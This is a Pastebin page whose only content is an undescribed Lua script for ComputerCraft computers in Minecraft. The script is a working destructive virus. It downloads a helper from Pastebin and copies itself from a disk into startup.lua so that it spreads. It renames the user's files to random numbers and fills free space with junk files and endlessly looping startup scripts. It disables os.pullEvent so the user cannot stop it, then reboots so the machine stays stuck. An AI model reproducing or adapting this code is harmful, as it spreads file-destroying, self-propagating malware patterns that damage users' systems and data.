Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if not fs.exists("strings") then
- shell.run("pastebin get FeHQyxZ8 strings")
- end
- local s = require("../strings")
- if s.ensure_width(shell.getRunningProgram(), 4) == "disk" then
- if not fs.exists("startup.lua") then
- fs.copy("disk/startup", "startup.lua")
- end
- end
- if not fs.exists("startup") then
- fs.makeDir("startup")
- end
- math.randomseed(math.random(0, 100000000))
- local files = fs.list(".")
- if #fs.list(".") < 500 then
- for i = 1, #files do
- if files[i] ~= "startup.lua" and files[i] ~= "startup" and files[i] ~= "strings" then
- shell.run("rename " .. files[i] .. " " .. tostring(math.random(0, 10000000)))
- end
- end
- for i = 1, 10000 do
- local random = math.random(1, 10000000)
- local ran2 = math.random(0, 1)
- math.randomseed(random)
- if fs.getFreeSpace(".") > 1000 then
- if ran2 == 1 then
- local file = fs.open(tostring(random), "w")
- file.close()
- else
- local f = fs.open("startup/" .. tostring(random), "w")
- f.writeLine("while true do print(math.random(0,100000000000000)..math.random(0,100000000000000)) end")
- f.close()
- end
- else
- end
- end
- end
- _G.os.pullEvent = function()
- return "nope"
- end
- local files = fs.list("startup")
- for i = 1, #files do
- shell.run("startup/" .. files[i])
- end
- os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement